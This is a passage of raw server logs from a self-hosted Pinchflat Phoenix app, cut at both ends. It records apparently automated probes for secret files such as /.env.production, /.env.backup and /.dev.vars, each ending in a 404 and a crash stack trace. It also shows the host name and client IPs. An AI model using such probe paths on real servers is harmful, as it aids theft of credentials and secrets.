"gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fd9f1fbec243-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "fetya62b1cdduwzy.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" = (truncated) 02:50:29.317 [info] HEAD /.env.test 02:50:29.318 [info] HEAD /.env.local 02:50:29.318 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=591.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.318 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=592.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.318 [debug] QUERY OK source="settings" db=0.3ms idle=592.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.318 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.319 [debug] QUERY OK source="settings" db=0.7ms idle=592.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.319 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.318 [error] #PID<0.3701.0> running PinchflatWeb.Endpoint (connection #PID<0.3694.0>, stream id 7) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.test ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3701.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.test", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHC6mEsT8HKgAAV3B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade (truncated) 02:50:29.322 [info] HEAD /.env.production 02:50:29.320 [error] #PID<0.3703.0> running PinchflatWeb.Endpoint (connection #PID<0.3702.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40226}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3703.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHC6u62w3wU8AAV4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40226}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40226}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-sit (truncated) 02:50:29.322 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=290.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.323 [debug] QUERY OK source="settings" db=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.323 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.323 [error] #PID<0.3705.0> running PinchflatWeb.Endpoint (connection #PID<0.3694.0>, stream id 8) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3705.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHC7r8FrW73YAAV5B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3705.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-enco (truncated) 02:50:29.341 [info] HEAD /.env.backup 02:50:29.341 [info] HEAD /.dev.vars 02:50:29.341 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=22.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.341 [debug] QUERY OK source="settings" db=0.1ms idle=23.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.342 [debug] QUERY OK source="settings" db=0.1ms idle=22.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.342 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.342 [debug] QUERY OK source="settings" db=0.2ms idle=19.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.342 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.342 [error] #PID<0.3706.0> running PinchflatWeb.Endpoint (connection #PID<0.3702.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40226}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3706.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHDARmj3cLxUAAV6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: 